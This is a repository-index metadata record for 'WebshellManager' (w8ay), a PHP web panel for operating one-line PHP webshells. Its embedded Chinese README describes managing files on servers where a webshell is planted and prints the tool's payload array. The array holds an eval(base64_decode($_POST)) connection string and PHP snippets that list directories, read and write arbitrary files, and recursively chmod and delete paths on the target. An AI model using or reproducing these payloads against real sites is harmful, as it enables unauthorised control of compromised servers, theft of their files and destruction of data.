{"id":13777533,"url":"https://github.com/boy-hack/webshellmanager","last_synced_at":"2025-08-25T14:08:24.880Z","repository":{"id":41390154,"uuid":"72442234","full_name":"boy-hack/WebshellManager","owner":"boy-hack","description":"w8ay 一句话WEB端管理工具","archived":false,"fork":false,"pushed_at":"2017-02-01T05:18:27.000Z","size":868,"stargazers_count":177,"open_issues_count":0,"forks_count":90,"subscribers_count":11,"default_branch":"master","last_synced_at":"2025-04-14T08:14:47.461Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/boy-hack.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2016-10-31T14:04:57.000Z","updated_at":"2025-03-24T05:01:11.000Z","dependencies_parsed_at":"2022-09-12T07:01:01.882Z","dependency_job_id":null,"html_url":"https://github.com/boy-hack/WebshellManager","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boy-hack%2FWebshellManager","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boy-hack%2FWebshellManager/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boy-hack%2FWebshellManager/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/boy-hack%2FWebshellManager/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/boy-hack","download_url":"https://codeload.github.com/boy-hack/WebshellManager/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248843950,"owners_count":21170495,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T18:00:44.988Z","updated_at":"2025-04-14T08:14:57.886Z","avatar_url":"https://github.com/boy-hack.png","language":"JavaScript","funding_links":[],"categories":["\u003ca id=\"faa91844951d2c29b7b571c6e8a3eb54\"\u003e\u003c/a\u003e新添加"],"sub_categories":[],"readme":"## WebshellManager\n\n\u003e 一款无聊的时候用PHP+Mysql写的一句话WEB端管理工具 名字叫w8ay好了 \n\n## 介绍\n\n- 目前仅支持对PHP的一句话进行操作\n- 完成文件管理，支持对webshell中的文件进行增、删、改、查操作 可多选操作\n- 支持自定义命令\n- 完成多用户系统 注册 登陆\n\n\n##自定义PHP命令\n\n第二版本完成了自定义命令 在`include\\model\\PHPShell_Build_mothod.php`中自定义命令即可，将自动完成编码加密过程\n\n```\nvar $phpshell = array(\n\t\t'link' =\u003e '{PASS}=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B\u0026z0=',//连接前缀\n\n\t\t'safe' =\u003e \"@ini_set('display_errors','0');@set_time_limit(0);@set_magic_quotes_runtime(0);\",//payload前缀\n\n\t\t'flag_left' =\u003e 'echo(\"-\u003e|\");',//左标志位\n\n\t\t'flag_right' =\u003e 'echo(\"|\u003c-\");die();',//右标志位\n\n\t\t'GetWebRoot' =\u003e '$D=dirname($_SERVER[\"SCRIPT_FILENAME\"]);if($D==\"\"){$D=dirname($_SERVER[\"PATH_TRANSLATED\"]);}$arr = array(\"WebRoot\" =\u003e $D);echo json_encode($arr);',//获取一句话目录\n\t\t\n\t\t'GetWebDiskFileList' =\u003e '$D=base64_decode($_POST[\"z1\"]);$F=opendir($D);\nif($F==NULL){echo(\"ERROR:// Path Not Found Or No Permission!\");}else{$tmparr = array();\twhile($N=readdir($F)){$P=$D.\"/\".$N;$T=date(\"Y-m-d H:i:s\",filemtime($P));$E=substr(base_convert(fileperms($P),10,8),-4);$arr = array(\"time\" =\u003e $T, \"size\" =\u003e filesize($P),\"root\" =\u003e $E,\"path\" =\u003eurlencode(is_dir($P)?$N.\"/\":$N));$tmparr[] = $arr;}echo json_encode($tmparr);closedir($F);};',//获取磁盘文件\n\t\t\n\t\t'GetWebFileContent' =\u003e '$F=base64_decode($_POST[\"z1\"]);$P=@fopen($F,\"r\");echo(@fread($P,filesize($F)));@fclose($P);',//得到文件内容\n\n\t\t'CreateAndSaveFile' =\u003e 'echo @fwrite(fopen(base64_decode($_POST[\"z1\"]),\"w\"),base64_decode($_POST[\"z2\"]))?\"1\":\"0\";',//创建文件\n\n\t\t'DeleteFile' =\u003e 'function df($p){$m=@dir($p);while(@$f=$m-\u003eread()){$pf=$p.\"/\".$f;if((is_dir($pf))\u0026\u0026($f!=\".\")\u0026\u0026($f!=\"..\")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m-\u003eclose();@chmod($p,0777);return @rmdir($p);}$F=get_magic_quotes_gpc()?stripslashes($_POST[\"z1\"]):$_POST[\"z1\"];if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?\"1\":\"0\":\"0\");}',//删除文件\n\t\t);\n```\n\n\n## 截图\n\n![](https://cloud.githubusercontent.com/assets/18695984/20028030/ab8cc3cc-a360-11e6-999b-c3cdc93cdef5.jpg)\n![](https://cloud.githubusercontent.com/assets/18695984/20028031/aed8235a-a360-11e6-8c86-635d0714eb51.jpg)\n![](https://cloud.githubusercontent.com/assets/18695984/19856900/797cceb6-9fb6-11e6-85b3-762c3f3b77d0.jpg)\n![](https://cloud.githubusercontent.com/assets/18695984/19856909/8126a13c-9fb6-11e6-9251-8db0424e4f2b.jpg)\n\n\n## 安装\n\n- 导入文件中的 w8_webshell.sql  \n- 按注释修改 config.php  \n- 安装成功  \n- 默认账号密码 w8ay@qq.com w8ay\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fboy-hack%2Fwebshellmanager","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fboy-hack%2Fwebshellmanager","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fboy-hack%2Fwebshellmanager/lists"}